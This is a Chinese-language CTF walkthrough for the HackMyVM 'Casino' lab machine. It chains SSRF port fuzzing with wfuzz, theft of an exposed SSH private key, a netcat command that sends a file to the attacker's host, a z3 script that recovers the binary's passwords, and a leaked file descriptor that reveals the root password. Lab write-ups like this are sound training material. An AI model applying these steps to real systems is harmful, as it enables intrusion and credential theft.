当前位置: 首页 > news >正文

hackmyvn-casino

arp-scan -l

nmap -sS -v 192.168.255.205

目录扫描

dirsearch -u http://192.168.255.205/ -e *

gobuster dir -u http://192.168.255.205 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -b 301,401,403,404

80端口

随便注册一个账号
玩游戏时的url
将钱用完时的url
可以发现钱用完之后系统会将我们重定向到en.wikipedia.org域名上托管的维基页面。此页面似乎包含如何有效使用网站的规则。
wiki页面似乎与web应用程序不在同一服务器上。让我们用我们的IP地址替换该页面,看看web应用程序是否也可以从我们的服务器检索wiki页面。
开启http服务,尝试上传本地文件

FUZZ 端口

seq用于生成一系列的数字序列。
seq 0 65535 > port.txt
wfuzz -b "PHPSESSID=j7eaolu5dg6k49vhubp10eup6v" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ -w port.txt
该页面的cookie
wfuzz -b "PHPSESSID=j7eaolu5dg6k49vhubp10eup6v" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ -w port.txt --hh 1128
访问6969端口
翻译
wfuzz -b "PHPSESSID=5d1p4mh5def1sd7e6mq2830m9c" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
wfuzz -b "PHPSESSID=5d1p4mh5def1sd7e6mq2830m9c" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --hh 1128
访问codebreakers
查看源码,得到
在当前目录访问shimmer_rsa,得到私钥

22端口

连接ssh

ssh-keygen -y -f id
将私钥转化为公钥,得到用户名
ssh shimmer@192.168.255.205 -i id
ELF 是 Linux/Unix 系统标准的 二进制可执行文件格式
传输pass文件
nc -lp 1234 > pass2
nc 192.168.255.149 1234 < pass
放进ida中
  1. 程序开始时,提示用户输入密码(通过 printf 函数),然后从标准输入(stdin)中获取用户输入的密码(通过 fgets 函数)。获取的密码存储在字符数组 s 中。
if ( s[strlen(s) - 1] == 10 ):检查字符串 s 的最后一个字符是否为 ASCII 码值为 10 的字符(即换行符 \n)。
  1. 然后检查输入的密码是否正确,调用 checkPasswd 函数进行验证。如果密码不正确,则程序直接返回,不执行后续操作。
  2. 如果第一个密码验证通过,则尝试打开文件 /opt/root.pass(通过 open 函数)。然后获取当前用户的用户 ID(UID)(通过 getuid 函数),并使用 setuid 函数将程序的有效用户 ID(EUID)设置为当前用户的 UID。
  3. 程序接着提示用户输入第二个密码,并将其存储在字符数组 s1 中。
  4. 如果第二个密码是 ultrasecretpassword,则将 argva 设置为 "sh",将 v7 设置为 0,然后调用 execvp 函数以执行 "/bin/sh",从而打开一个 shell。
  5. 如果第二个密码不是 ultrasecretpassword,则程序打印 bye. 并返回。
写脚本
输出满足要求的字符串:
from z3 import *
#创建26个变量,每个变量表示字符串中对应位置的字符
a = [Int('a[%d]' % i) for i in range(26)]
#创建一个 Z3 solver 实例
solver = Solver()
#添加字符串长度等于 26 的约束
solver.add(len(a) == 26)
#约束条件列表
constraints = [
a[0] - a[20] == -10,
a[1] + a[6] == 208,
a[2] - a[4] == 10,
a[3] - a[14] == -2,
a[4] * a[25] == 10100,
a[5] + a[17] == 219,
a[6] - a[10] == -11,
a[7] - a[20] == -10,
a[8] * a[17] == 11845,
a[9] - a[18] == -7,
a[10] - a[24] == 1,
a[11] * a[4] == 9797,
a[12] - a[3] == 3,
a[13] * a[11] == 11252,
a[14] - a[13] == -2,
a[15] == a[23],
a[16] - a[8] == -5,
a[17] * a[7] == 10815,
a[18] - a[14] == -2,
a[19] - a[0] == -8,
a[20] - a[23] == 4,
a[21] + a[7] == 220,
a[22] - a[1] == 15,
a[23] == a[15],
a[24] * a[2] == 12654,
a[25] - a[12] == -15
]
#添加约束条件
for constraint in constraints:
solver.add(constraint)
#检查约束是否满足
if solver.check() == sat:
model = solver.model()
result = ''.join([chr(model[a[i]].as_long()) for i in range(26)])
print("满足条件的字符串为:", result)
else:
print("找不到满足条件的字符串")
两部分密码分别为:
ihopethisisastrongpassword
ultrasecretpassword
cd /proc/self/fd
ls -la
cat <&3
root密码:masteradmin420
参考:
hmv[-_-]casino – starsea-blog-成长见证
CTF Walkthrough for HackMyVM Machine Casino | Christ Elise
https://www.bilibili.co m/video/BV1Qi42197yT/

相关文章:

  • .NET 通过Junction Folder实现权限维持
  • 进程间信号
  • 项目6——前后端互通的点餐项目
  • 详解Maven的主要生命周期
  • 安装windows server 2016没有可选硬盘,设备安装过ubuntu系统
  • vue3使用v-md-editor完成Markdown内容展示
  • 正则表达式核心语法 + Python的 re 库中常用方法
  • 二分答案-P8647 [蓝桥杯 2017 省 AB] 分巧克力
  • iCare Format Recovery:轻量级数据恢复工具
  • 某地老旧房屋自动化监测项目
  • JVM 每个区域分别存储什么数据?
  • Apache SeaTunnel 2.3.10 正式发布 —— 全新功能与多项改进,助力数据集成再升级!
  • 量子计算与AI音乐——解锁无限可能的音色宇宙
  • 【C++ SIMD】第1篇:SIMD基础概念与开发环境配置
  • 离散数学问题集--问题4.40
  • Burp Suite如何配置证书
  • 增加等IO状态的唤醒堆栈打印及缺页异常导致iowait分析
  • 2个 C# 的文本解析工具开源项目
  • 【操作系统】查内存泄漏方法
  • ROS相关学习笔记
  • 建设网站那个好/单页网站
  • WordPress英文主题变中文/抖音seo排名软件
  • wordpress开启https/疫情二十条优化措施
  • 品牌网站制作流程/优化关键词的方法包括
  • mui做网站的好处/b2b外贸平台
  • 用什么网软件做网站/seo是什么?